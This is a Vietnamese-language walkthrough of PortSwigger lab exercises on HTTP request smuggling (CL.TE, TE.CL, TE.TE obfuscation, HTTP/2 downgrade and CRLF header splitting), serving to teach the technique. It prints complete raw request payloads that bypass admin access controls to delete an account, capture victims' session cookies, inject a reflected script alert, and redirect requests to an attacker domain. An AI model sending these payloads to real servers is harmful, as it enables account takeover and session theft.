🔐HTTP request smuggling

HTTP request smuggling = HRS

What is HTTP request smuggling?

Theo định nghĩa ở portswigger thì HTTP request smuggling là kỹ thuật can thiệp vào cách trang web xử lý trình tự của HTTP request mà được nhận từ một hoặc nhiều người dùng. Nói dễ hiểu hơn là HTTP request smuggling (HRS) là một kỹ thuật tấn công nhằm vào các HTTP server (web server, proxy server). Bất cứ khi nào một HTTP request của client được phân tích bởi nhiều hơn một hệ thống thì đều có khả năng bị HRS.

Lỗ hổng này thì thường rất nguy hiểm, nó cho phép kẻ tấn công có thể bypass secuirty controls, đạt được như truy cập trái phép tới các data nhạy cảm hoặc can thiệp trực tiếp tới ứng dụng người dùng khác.

What happens in an HTTP request smuggling attack?

Ngày nay các trang web thường dùng các chuỗi máy chủ HTTP giữa người dùng và ứng dụng logic cuối cùng. Người dùng gửi request tới một máy chủ front-end (đôi khi có thể gọi là load balancer hoặc reverse proxy) và server này sẽ gửi request tới một hoặc nhiều sever back-end.

Như trên hình ảnh thì kẻ tấn công sẽ gửi một request phụ chèn thêm vào request chính, khai thác từ việc xử lý bất đồng bộ của server thì dẫn tới lỗ hổng HRS như trên.

How do HTTP request smuggling vulnerabilities arise?

Hầu hết lỗ hổng HRS xảy ra do HTTP specification cung cấp hai cách để chỉ định nơi một request kết thúc, nó rõ ra là trong gói tin HTTP có hai header: Content-LengthTransfer-Encoding

  1. Content-Length:

  • Content-Length là một header HTTP được sử dụng để chỉ định kích thước (đơn vị byte) của nội dung yêu cầu hoặc phản hồi.

  • Nó được sử dụng trong các yêu cầu HTTP có phương thức POST, PUT, PATCH để xác định kích thước của dữ liệu gửi đi.

  • Ví dụ: Content-Length: 11. Header này cho biết rằng nội dung yêu cầu 11 byte.

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
  1. Transfer-Encoding:

  • Transfer-Encoding là một header HTTP dùng để chỉ định cách mã hóa và truyền tải nội dung yêu cầu hoặc phản hồi qua mạng.

  • Nó được sử dụng để hỗ trợ truyền tải nội dung dưới nhiều dạng mã hóa khác nhau như chunked, gzip, deflate, vv.

  • Ví dụ: Transfer-Encoding: chunked. Header này cho biết rằng nội dung yêu cầu hoặc phản hồi được truyền tải dưới dạng các phần (chunks) với độ dài được chỉ định cho mỗi phần.

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

How to perform an HRS attack

Tấn công HTTP Request Smuggling nói chung đều xoay quanh đến hai header là Content-LengthTransfer-Encoding trên cùng một gói tin HTTP để máy chủ front-endback-end xử lý yêu cầu theo cách khác nhau. Sau đây là một số “combo” thường gặp của HTTP Request Smuggling:

  • CL.TE: máy chủ front-end sử dụng header Content-Length và máy chủ back-end sử dụng header Transfer-Encoding.

  • TE.CL: máy chủ front-end sử dụng header Transfer-Encoding và máy chủ back-end sử dụng header Content-Length.

  • TE.TE: máy chủ front-endback-end đều hỗ trợ header Transfer-Encoding, nhưng một trong hai loại máy chủ không xử ý được header này, do gói tin HTTP đã bị làm xáo trộn header theo một cách nào đó.

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server rejects requests that aren't using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

Ở bài này chúng ta tấn công dạng CL.TE thì payload sẽ kiểu như này:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Đầu tiên chúng ta chuyển HTTP/2 -> HTTP/1.1

Chúng ta sẽ sửa đổi độ dài của Content với giá trị là 6 bắt đầu từ giá trị 0 tới G.

Ở đây dễ hiểu rằng khi gửi request đầu tiên thì server sẽ hiểu rằng body gồm 6 byte và xử lý nhưng khi xử lý tới 0 thì đây là: một chunk rỗng, được sử dụng để đánh dấu kết thúc của body request.

Khi đó ký tự G sẽ được ghép với request tiếp theo là G->GPOST. Chúng ta sẽ sang lab tiếp theo để làm một dạng khác!

Ở lab thì phía server front-end sử dụng Transfer-Encoding header và server back-end sử dụng Content-Lenght header. Khi đó chúng ta có thể đoạn HTTP Request Smuggling như sau:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Chunked Transfer Encoding là một cơ chế được sử dụng trong giao thức HTTP/1.1 để gửi dữ liệu từ máy chủ đến client. Cơ chế này cho phép máy chủ gửi dữ liệu trong nhiều phần hoặc "chunks", mỗi chunk được gửi riêng lẻ. Điều này có thể hữu ích trong các tình huống mà kích thước của dữ liệu không được biết trước hoặc dữ liệu cần được tạo và gửi đồng thời.

Mỗi chunk bao gồm kích thước của chunk (tính bằng số byte), sau đó là dữ liệu thực sự, và cuối cùng là một dòng mới. Phiên truyền dữ liệu kết thúc bằng một chunk có kích thước bằng 0.

Mã hóa chunked được chỉ định trong header HTTP bằng cách sử dụng trường Transfer-Encoding:

Transfer-Encoding: chunked

Ví dụ:

Giả sử máy chủ muốn gửi chuỗi sau: "Hello, World!"

Trước tiên, chuỗi này được chia thành các chunks. Trong ví dụ này, chúng tôi sẽ chia nó thành 2 chunks: "Hello, " và "World!". Mỗi chunk sau đó được gửi đi kèm với kích thước của nó (tính bằng số byte hexa).

Gói tin HTTP có thể trông như sau:

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

7\r\n
Hello, \r\n
6\r\n
World!\r\n
0\r\n
\r\n

Ở đây, 76 là kích thước của hai chunks (tính bằng số byte), và 0 kết thúc phiên truyền dữ liệu. \r\n là ký tự xuống dòng CR-LF (Carriage Return-Line Feed).

Lưu ý: /r/n ở cuối cùng đánh dấu kết thúc request.

Sơ qua như thế rồi chúng ta sẽ vào bài lab luôn có description như sau:

Content-length: 4, nghĩa là có 4 kí tự 59\r\n → Phần còn lại sẽ được gán vào đầu request sau.

Sau đó, yêu cầu chứa dữ liệu gửi đi. Dữ liệu này được chia thành hai phần:

  1. Phần dữ liệu khối đầu tiên:

    • 59: Đây là độ dài của dữ liệu khối đầu tiên (59 byte).

    • GPOST / HTTP/1.1: Đây là nội dung của dữ liệu khối đầu tiên. Trong trường hợp này, dữ liệu là "GPOST / HTTP/1.1".

  2. Phần dữ liệu khối thứ hai:

    • Content-Type: application/x-www-form-urlencoded

      • Content-Type header xác định kiểu dữ liệu của dữ liệu được gửi đi. Trong trường hợp này, dữ liệu được gửi dưới dạng "application/x-www-form-urlencoded", có nghĩa là dữ liệu được mã hóa theo định dạng URL-encoded.

    • Content-Length: 9

      • Content-Length header xác định độ dài của dữ liệu khối thứ hai (9 byte).

    • x: Đây là nội dung của dữ liệu khối thứ hai. Trong trường hợp này, dữ liệu là "x".

Sau phần dữ liệu khối thứ hai, yêu cầu kết thúc bằng số 0, chỉ định kết thúc dữ liệu mã hóa chunked.

Đoạn này giải thích một yếu tố thú vị trong yêu cầu. Yêu cầu này có thể được giải quyết bằng cách sử dụng tiêu đề "Content-Length: 9" được chỉ định trong lần gửi dữ liệu thứ hai. Tuy nhiên, bạn luôn nhận được một phản hồi 200 và một phản hồi bình thường từ phía máy khách. Điều này xảy ra bởi vì máy chủ phía sau sẽ bắt yêu cầu với tiêu đề "CL: 9" và xử lý nó ngay lập tức vì nó là một yêu cầu hoàn chỉnh. Không có hàng đợi xảy ra. Để kích hoạt hàng đợi, chúng ta cần làm cho máy chủ phía sau đợi ít nhất một ký tự nữa trước khi phát hành yêu cầu GPOST. Bằng cách chỉ định một Content-Length dài hơn so với dữ liệu được cung cấp (trong yêu cầu gửi thứ hai), máy chủ phía sau sẽ đợi thêm dữ liệu trước khi xử lý và phát hành yêu cầu.

Ở đây server front-end và back-end đều hỗ trợ Transfer-Encoding header, nhưng một trong những servers có thể được yêu cầu không xử lý nó bằng cách làm xáo trộn header này

Ví dụ, một máy chủ web có thể thực hiện "obfuscating the TE header" bằng cách thay đổi TE header thành một giá trị ngẫu nhiên hoặc mã hóa TE header bằng cách sử dụng một thuật toán mã hóa đặc biệt. Điều này có thể làm cho TE header trở nên khó hiểu hoặc che giấu thông tin về các phương pháp mã hóa thực sự được hỗ trợ bởi máy chủ web.

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Chúng ta sẽ đi vào bài lab này luôn, miêu tả của lab này như sau:

Chúng ta sẽ xem xét rằng Transfer-Encoding vẫn nhận nhưng sau 2-3 lần request thì header này không được phía back-end xử lý. Xúc này chúng ta sẽ thêm một header tương tự như này với một giá trị bất kỳ.

Chúng ta sẽ giải thích qua tại sao phải double Transfer-Encoding header. Đầu tiên nếu thay đổi vị trí giá trị của header này thì nó sẽ trả về lỗi 500. Có nghĩa là phía front-end hoặc phía back-end không xử lý được và quan trọng không sử dụng được Content-Length

Khi đó cần sắp xếp lại giá trị và để backend khi xử lý TE sẽ không xác định được và chuyển qua dùng CL chung như hình trên.

Khi đó một request khác từ người dùng khác sẽ được gán với ký tự hoặc request tiếp theo của kẻ tấn công.

Vậy thì chúng ta sẽ dùng kỹ thuật Lab2 để solve lab này.

Finding HTTP request smuggling valnerabilities.

Sau 3 lab chứng ta sẽ xem xét lại cách để tìm lỗ hổng này:

Tìm lỗ hổng dạng CL.TE sử dụng kỹ thuật timming.

Nếu một ứng dụng chứa lỗ hổng có variant CL.TE, thì chúng ta gửi request như sau:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

Khi front-end server sử dụng Content-Length header, nó sẽ chỉ chuyển tiếp một phần của request này mà bỏ qua X. Back-end sẽ sử dụng Transfer-Encoding header.

Nhìn vào hình ảnh chúng ta sẽ rõ khi gủi giá trị thì ở FE dùng CL với length là 6 khi đó nó sẽ drop X đi và gửi qua backend và khi BE nhận thì nó giữ time để nhận X còn thiếu và đợi lúc tới timeout trả về.

Tìm lỗ hổng dạng TE.CL

Nếu lỗ hổng HRS có variant TE.CL thì có thể gửi request theo như này:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

Ở dạng này thì front-end sử dụng Content-Length còn back-end sẽ sử dụng Content-Length

Khi FE có TE xử lý chunk đầu size bằng 0 sau đó là một dòng trống, có nghĩa nó hiểu kết thúc và bỏ qua X gửi qua BE và ở BE dùng CL với length chung là 6 mà dữ liệu tới BE chỉ có 5 byte và BE sẽ đợi byte thứ 6, sau một thời gian nó quyết định timeout.

Mình đã giải thích qua các thức và cơ chế của hai variant CL.TE và TE.CL, tiếp theo chúng ta sẽ tới với lab tiếp theo.

Về lab này thì chúng xác định rằng nó là variant CL.TE thì chúng ta sẽ gửi payload như sau:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

Mình giải thích lại về gói tin HTTP trên thì CL gồm 49 byte từ giá trị e->x và ở BE dùng TE thì có 2 chunk, chunk đầu có size là e(14 trong hệ 10) có giá trị q=smuggling&x=, chunk thứ 2 có size 0 và khi nó check dòng tiếp thì trống thỏa mãn chunk size 0. Lúc này request sẽ kết thúc và trả về resp và đoạn thừa sau sẽ được ghép vào đầu request tiếp theo.

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
....

Với bài lab này dùng burp suite bắt req sẽ như này:

Với lab này sử dụng TE.CL khi đó payload sẽ như sau:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5b
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

x
0

Giói tin HTTP ở trên sẽ có TE được dùng ở FE khi đó có chunk đầu gồm 5b (91 hệ 10) và chunk thứ 2 có size và 0 và giá trị trống. Thì khi tới BE thì BE sử dụng CL có giá trị là 4 nên nó sẽ chỉ xử lý 5b/r/n và để phần còn lại ghép cho request sau. Còn giải thích chi tiết thì có thể xem lại các lab trên về dạng này.

Đôi khi chúng ta cần những thứ to lớn hơn như lấy thông tin từ một endpoint nào đó hoặc lấy thông tin nhạy cảm nhưng để lấy được thì chúng ta cần phải bypass được access controls, khi đó chúng ta có thể sử dụng lỗ hổng này để chuyển tiếp các router chúng ta muốn. Oke bắt đầu với lab này thôi.

Để solve được lab này chúng ta cần truy cập vào endpoint admin để xóa đi tài khoản carlos nhưng FE đã block truy cập của chúng ta nên cần bypass nó.

Rõ ràng đã bị block, dựa vào dạng CL.TE và xem giao diện chúng ta sẽ build được body gói tin như sau:

POST / HTTP/1.1
Host: 0ab0001f038ec5838593147900630013.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 110

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

Có vấn đề ở đây là không được duplicate header, tại sao lại xảy ra vì khi đoạn GET được ghép với header tiếp theo của req nên sẽ kiểu như này:

Rõ ràng dòng 12 và 13 đã lặp lại nên server trả về status 400, vậy lúc này có cách nào không?

Câu trả lời là có, chúng ta có thể tách nó ra để thành phần header của request sau thuộc body như sau:

POST / HTTP/1.1
Host: 0ab0001f038ec5838593147900630013.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 117

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x

Chỉ cần thêm một giá trị x vào và phần Content-Length mọi người tự fix nhé. Khi đó resp sẽ trả về cho chúng ta như này:

Lúc này chúng ta có thể solve được dựa vào source từ resp:

                       <a href="/admin/delete?username=carlos">
POST / HTTP/1.1
Host: 0ab0001f038ec5838593147900630013.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 138

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x

Ở lab này theo dạng TE.CL, chúng ta dựa vào lab số 6 sẽ build lại theo dạng TE.CL như sau:

Content-length: 4
Transfer-Encoding: chunked

84
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

x
0

Chúng ta thấy rằng như tiêu đề của lab thì cần reveal request của server. Như lab này chúng ta trước tiên cần xác định đây là dạng gì? Sử dụng kỹ thuật timming để check và nhận ra nó dạng CL.TE

Tiếp theo xác định trang web có chặn endpoint /admin gồm cần có điều kiện gì?

Để truy cập được path này cần request từ IP 127.0.0.1, vậy chúng ta sẽ thêm một header X-Forwarded-For

Có vẻ header trên không có trong config của server nên mới không thể fake được ip, chúng ta chú ý rằng trang web này có một nơi có thể reflect được data là endpoint /search.

Chúng ta sẽ tấn công vào path này để leak được header cần thiết ra, thực hiện như sau:

Chúng ta thấy rằng khi request tiếp theo thì header kia được leak ra và chúng ta sẽ tấn công như lab 6, chỉ thay header như trên để bypass.

POST / HTTP/1.1
Host: 0a23001e031a3d0d81bd4dc600b30077.web-security-academy.net
Content-Length: 148
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-rtfKBY-Ip: 127.0.0.1
Content-Length: 200

x=1

Ngoài ra chúng ta cũng có thể sử dụng một vài header khác để bypass access control như:

Vì các tiêu đề này được cho là hoàn toàn ẩn đối với người dùng nên chúng thường được các máy chủ phụ trợ hoàn toàn tin cậy. Giả sử bạn có thể gửi kết hợp đúng tiêu đề và giá trị, điều này có thể cho phép bạn bỏ qua kiểm soát truy cập.

X-SSL-CLIENT-CN: administrator

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

Như tiêu đề của lab chúng ta biết rằng ở lab này chúng ta cần lấy thông tin của người khác từ request ví dụ như cookie, tooken, ......

Sau một lúc xem xét thì có vẻ như lab này giống lab 7 có một nơi để leak được data là ở comment.

Xác định được bài này dạng CL.TE, khi này chúng ta cần exploit ở path comment để có thể leak được data của request người dùng khác.

Ở đây mình có đoạn gói tin như ở dưới chỉ có điều comment để cuối vì nó sẽ nối với gói tin của request tiếp theo, đặc biệt phần CL:920 để độ dài resp có thể trả về đủ session.

POST / HTTP/1.1
Host: 0a8e005504c61dfb8264925600bc009e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 920
Cookie: session=L53z8xuArvwlLeMMT7OD4PTpBJq9e8PS

csrf=62XNt6dAeOKMCrmclB0AneZZX1ZtP5Qk&postId=9&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test

Sau khi gửi đợi một lúc thì request victim sẽ tới như hình dưới.

Đầu tiên chúng ta cần xem lab này thuộc dạng nào đã vào xem data được reflect ở đâu.

Oke chúng ta xác định rằng hai dữa liệu ở đâu có thể thực hiện khai thác:

  • Ở form có một trường ẩn là user-agent chúng ta có thể thay đổi được

  • Nó thuộc dạng CL.TE

Đây là payload cuối cùng bypass qua thẻ input và nhúng JS vào code, từ đây chúng ta build lại đoạn HTTP chứa User-Agent. (Cần tách phần header tiếp theo là body bằng cách thêm một giá trị x=1)

POST / HTTP/1.1
Host: 0a2200e40449bde5832c9b2d0005002c.web-security-academy.net
Content-Length: 160
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

Using HTTP request smuggling to turn an on-site redirect into an open redirect

Nhiều ứng dụng thục hiện chuyển hướng tại chỗ từ một url tới một url khác và cụ thể là ở header Host chuyển hướng tới URL khác.

Ví dụ:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Như đoạn gói tin HTTP ở trên được xem như vô hại nhưng điều gì sẽ xảy ra kẻ tấn công khai thác lỗ hổng HRS để làm request tiếp theo chuyển hướng tới domain của kẻ tấn công.

Ví dụ sau dùng dạng CL.TE

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Nếu cuộc tấn công này thành công thì request tiếp theo sẽ như sau:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Trước hết cần hiểu sơ về HTTP/2 thì các request từ http/2 không cần định nghĩa rõ ràng CL, còn đối với server có hạ cấp từ 2 xuống 1 thì nó sẽ lấy CL để đo độ dài nội dung cần gửi.

Khi ở Front-end (HTTP/2)

:method	POST
:path	/example
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencoded
content-length	0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1

Back-end(HTTP/1)

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1GET / H

Sơ qua thế thôi, bây giờ chúng ta sẽ đi vào lab này, như tiêu đề thì lab này sử dụng http/2 và phía FE dùng CL.

Như ảnh thứ 2 chúng ta đã biết rằng nó dạng CL, bây giờ chúng ta tìm được một path resources có chứa các image và file js. Ở đây mình test qua path /resources để xem như nào.

Phần Location header của res bị thay đổi, nếu chúng ta dùng lỗ hổng HRS để chuyển hướng tới một domain khác thì sao nhỉ.

Chúng ta thấy rằng tới request thứ 2 Location đã bị đổi, bây giờ chúng ta sẽ tạo một server chứa mã độc để solve lab này.

Sau đó thay host ở http request smuggling thành server chúng ta vừa tạo và gửi nó lại.

Ở lab này chúng ta sẽ khai thác HRS thông qua CRLF injection. Nếu các bạn chưa đọc CRLF injection thì có thể đọc ở đây.

Đối với lab này sẽ có hạ cấp xuống trước khi gửi tới back-end.

Xem qua thì bài này không phải dạng H2.CL hay H2.TE, như tiêu đề có sử dụng CRLF thì đối với HTTP/2 chúng ta sẽ thêm một giá trị ở phần request header

Như ở lab 13 đã cho thấy rằng ở Front-end thì http/2 có dạng khác và khi chúng ta thêm một trường header này dùng CRLF vào để khi hạ cấp thì nó hiểu có thêm một trường TE: chunked và gửi tới back-end.

Yêu cầu của lab là cần lấy giá trị session của victim, lúc này qua một lần xem xét thì có chỗ search thì reflect data được.

Chúng ta sẽ lợi dùng parameter search này để reflect gói tin HTTP của victim ra, như trên sau khi thêm một header như sau:

name: foo

value: bar\r\nTransfer-Encoding: chunked

Lưu ý: Chỗ \r\n có thể viết ở ngoài rồi đưa vào hoặc khi viết liền chỉ cần dùng phím tắt Shift+Enter

Bây giờ thêm phần body vì sau khi hạ cấp gửi tới Back-end thì nó dùng TE. Lúc này đoạn body sẽ như sau (Cần có cookie vì nó phải leak ở tài khoản chúng ta)

0

POST / HTTP/1.1
Host: 0ab900dc0354cf9d81781b81008e00f5.web-security-academy.net
Cookie: session=NFnrJHX0luwupRj7f4aMbrm5UUiqEQNA
Content-Length: 900

search=

Sau khi gửi đợi một lúc thì victim sẽ gửi tới, như đề bài thì victim sẽ 15s gửi một request.

Như tiêu đề thì lab này có thể dùng CRLF để gắn một request khác vào giá trị của header nào đó trong HTTP/2 nếu như ở Back-End không hỗ trợ Transfer-Encoding.

:method	GET
:path	/
:authority	vulnerable-website.com
foo	
bar\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com

Bây giờ hãy tới với lab, trước tiên hãy xem yêu cầu của lab này.

Yêu cầu chúng ta lấy được cookie admin và try cập để xóa tài khoản carlos. Ý tưởng ở đây sẽ vẫn như cũ nhưng cách thức thực hiện khác so với lab trên.

Ở đây có một path /admin khi chúng ta truy cập thì nó là yêu cầu phải là admin, thì như tiêu đề thì chúng ta sẽ khai thác lỗ hổng này theo cách split header HTTP/2 thông qua CRLF vì một phần BE không còn hỗ trợ TE, như trên lab đã nói rằng Admin sẽ request 10s một lần nên chỉ cần tạo một smuggling và chờ request của admin thì chúng ta có thể lấy được cookie của admin.

Đầu tiên chúng ta sẽ sử dụng một path không có để dễ thấy status 302 khi admin truy cập hơn.

:scheme: https
:method: GET
:path: /x
:authority: 0adc00d604bba2af80c15d2c00440057.web-security-academy.net
cookie: session=GVq0LI2ysXQ6W0WKxsm4ThzN7hljQVhD
foo: bar\r\n
\r\n
GET /x HTTP/1.1\r\n
Host: 0adc00d604bba2af80c15d2c00440057.web-security-academy.net

Xem qua gói tin trên sẽ chia thành 2 phần request, sau khi hạ cấp thì request đầu tiên sẽ do chúng ta request sẽ trả về notfound sau đó khi admin truy cập thì request của admin sẽ thay thế bằng đoạn http request smuggling của chúng ta lồng vào và khi chúng ta request thì request của admin sẽ được submit bởi chúng ta và trả về tài khoản admin.

Nói dễ hiểu hơn khi hạ cấp thì request smuggling chúng ta lồng vào name:foo thì sẽ được đưa vào hàng đợi để xử lý sau khi có request tiếp theo sẽ được xử lý.

Last updated